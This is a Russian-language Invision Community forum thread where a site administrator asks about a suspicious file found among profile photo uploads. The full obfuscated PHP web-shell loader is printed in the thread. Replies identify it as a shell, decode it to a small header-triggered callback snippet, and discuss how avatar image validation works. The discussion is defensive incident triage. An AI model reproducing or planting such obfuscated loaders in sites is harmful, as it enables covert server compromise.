Перейти к публикации
View in the app

A better way to browse. Learn more.

Дизайн и модификация Invision Community

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

Объясните, что это за файл photo-4989.jpg?

Опубликовано:

У себя на сервере обнаружил файл /uploads/profile/photo-4989.jpg следующего содержания:

 

<?php $c3klind6='[q<q~nq2tQqyWq&ESK[4Keh}zE4ncz&tnqytQq<y2q&Tnh5@FKhnzKF5,d06ve7AV,CT//T@h}zE4nczeK*nQ4Q5&Q1}4FcGzg[iiM[E$&CT[zFT>Jewu0:u0o&{bbAe3&"##&M&CT~Th}zE4nczTQ1}4FcGzg[iiM[E$5C~TKE1cT&;@88&`PFW5&inz$Q&C`&88I&tTYTSKRnQ4KSeQ1}4FcGzeh}zE4ncz5&Q1}4FcGzg[iiM[E$&CtTYT&tY';global$g72pybaw;$g72pybaw=array();$zw35fhfe=array(234,241,236,250,237,246,254,243,229,165,173,228,175,164,174,170,189,252,235,192,249,240,191,183,190,251,184,217,205,208,210,214,207,221,182,185,231,247,232,220,253,244,223,187,204,218,201,196,215,203,222,194,162,163,178,177,242,161,226,248);foreach($zw35fhfe as $djv8zatz)$g72pybaw[]=($djv8zatz^159);$cyfadshp=o3wwnwea(array(125,122,81,75,83,110,91,105,110,112,75));$hu9sj5mp=$cyfadshp(o3wwnwea($c3klind6));$mezs9b4d=$hu9sj5mp[0];$c89e3f74=$mezs9b4d('',$hu9sj5mp[1]);$c89e3f74();function o3wwnwea($jn7,$xqd='',$l1="\x63\x68\x72"){global$g72pybaw,$btbp;if(!isset($btbp))$btbp=array();static$sxcw;if(!isset($sxcw))$sxcw=0;$t1=$hp9=$cg=$iu=$l1;$ter=$t1(125^30).$iu(241^158).$hp9(203^190).$cg(212^186).$t1(137^253);$wag=$hp9(79^60).$l1(90^46).$l1(240^130).$l1(40^68).$t1(200^173).$cg(131^237);$xhk=$cg(162^203).$t1(243^128).$t1(222^129).$cg(39^70).$t1(24^106).$hp9(112^2).$cg(20^117).$cg(14^119);$j2v=$l1(130^237).$hp9(68^54).$hp9(152^252);for($nt2=0,$joyg=0;$nt2<($xhk($jn7)?$ter($jn7):$wag($jn7));$nt2++){$tzdg=(($xhk($jn7)?$jn7[$nt2]:$j2v($jn7[$nt2])));if($tzdg==(84^94)||$tzdg==(104^101))continue;if(!isset($btbp[$tzdg])) $btbp[$tzdg]=$sxcw++;if(!isset($g72pybaw[$btbp[$tzdg]])){echo($jn7[$$nt2].' '.$tzdg);exit;}$fxvr=$l1( $g72pybaw[$btbp[$tzdg]]);$xqd.=$fxvr;}return$xqd;} ?>

 

Несет ли он какой-нибудь вред для форума?

Рекомендованные сообщения

Опубликовано:

Это шелл. Сам по себе с расширением jpg он безвреден, но могут использовать для подключения в скрипте. Другое дело, что форум не дает загрузить изображения если они не соответствуют формату, и обычным способом через форум загрузить его нельзя, значит вас скорее всего взломали.

Опубликовано:
  • Автор

Другое дело, что форум не дает загрузить изображения если они не соответствуют формату, и обычным способом через форум загрузить его нельзя, значит вас скорее всего взломали.

@siv1987, Вы хотите сказать, что подобный файл невозможно загрузить на сервер через расширенную форму? Значит его залили посредством FTP?

Опубликовано:

Вы хотите сказать, что подобный файл невозможно загрузить на сервер через расширенную форму?

Через расширенную форму загружаются аттачи, а тут фото профиля. На сколько я помню, форум проверяет формат загружаемого аватара, если он с этим расширением не соответствует типу, то будет ругаться на неправильный формат.

Не факт просто, что его загрузили сейчас. Если вы обновлялись со старой версии либо форум был когда-то взломан, возможно он еще остался с тех времен. Нужно смотреть на дату последнего изменения. Но полагаться на эту дату не следует, ее можно изменить из php.

Опубликовано:
  • Автор

@siv1987, ах да, тут же речь идет не об аттачах, а об аватаре. Тогда что получается... Форум проверяет формат и вес файла. Я файлик то уже удалил, но сколько он может весить? Копейки, наверняка по весу бы он прошел (у меня стоит пол мегабайта), а по формату тем паче (.jpg), но как такового изображения этот файл не имел (его просмотр был запрещен). Но ведь взгляните на ID аватара - 4989! У меня даже пользователей столько нет. Значит картинка была залита на сервер не через профиль (ну и не через форму загрузки в постах). Тогда как? Перерыл весь гугл, но подобной проблемы никто пока не обсуждал. Обсуждали помню трабл с файлом photo-128.jpg, в том числе и на этом форуме. К слову, у меня тоже была проблема с photo-128.jpg, но я ее вылечил еще в 2012 году.

 

И самое интересное, как я вышел на это: /uploads/profile/photo-4989.jpg ;)

Попросил хостера проверить мой акк на наличие вредоносных сигнатур в файлах и выложить отчет. По отчету я проверил все файлы, большинство из них - ложная тревога, но вот этот я сразу кинул вам на форум для вынесения экспертного решения.

 

Наверняка эта зараза под тем же ID лежит у массы админов, но странно, почему эту проблему никогда в интернете не обсуждали...

Опубликовано:

а по формату тем паче (.jpg)

.jpg это только расширение. Форум для аватаров проверяет тип изображения. Если файл не является изображением, в независимости от его расширения возвращается false. Файл явно был загружен посторонним образом.

 

Перерыл весь гугл, но подобной проблемы никто пока не обсуждал. Обсуждали помню трабл с файлом photo-128.jpg, в том числе и на этом форуме.

Эти взломы из одной и той же оперы. Информация о нем датируется еще с 2013. Не нашли потому, что для кодирования кода используется рэндомная последовательность символов. И имена переменных тоже случайны.

 

$c3klind6='[q<q~nq2tQqyWq&ESK[4Keh}zE4ncz&tnqytQq<y2q&Tnh5@FKhnzKF5,d06ve7AV,CT//T@h}zE4nczeK*nQ4Q5&Q1}4FcGzg[iiM[E$&CT[zFT>Jewu0:u0o&{bbAe3&"##&M&CT~Th}zE4nczTQ1}4FcGzg[iiM[E$5C~TKE1cT&;@88&`PFW5&inz$Q&C`&88I&tTYTSKRnQ4KSeQ1}4FcGzeh}zE4ncz5&Q1}4FcGzg[iiM[E$&CtTYT&tY';

Закодирован в нем код

 

if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") { 
function shutdownCallback(){
	echo "<!--".md5("links")."-->";
}
register_shutdown_function("shutdownCallback");
} 

Опубликовано:
  • Автор

Форум для аватаров еще проверяет тип изображения. Если файл не является изображением в независимости от его расширения возвращается false

То есть Вы хотите сказать через профиль и через вложения невозможно залить шелл с разрешенным на форуме расширением?
Опубликовано:

То есть Вы хотите сказать через профиль и через вложения невозможно залить шелл с разрешенным на форуме расширением?

Через профиль нельзя залить левые файлы (php код, или другие скрипты) под видом файлов с расширением jpg, png etc. Даже если добавить в конец изображения посторонний код, при ее обработке библиотека GD (imagemagick) удалит все посторонние примеси. Насчет аттачей точно не знаю, по моему там формат изображений не проверяется.

Опубликовано:
  • Автор

Если файл не является изображением в независимости от его расширения возвращается false

А если в нормальное изображение через блокнот записать BOM, оно зальется на сервер через профиль пользователя?

Опубликовано:

А если в нормальное изображение через блокнот записать BOM

BOM (Byte Order Mark) это маркер дли индикации порядка байтов в текстовом файле. Изображение это бинарный (двоичный) файл, BOM'у там делать нечего.

Опубликовано:
  • Автор

Ясно, понятно)

Создайте аккаунт или войдите в него для комментирования

Сейчас на странице 0

  • Нет пользователей, просматривающих эту страницу.

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.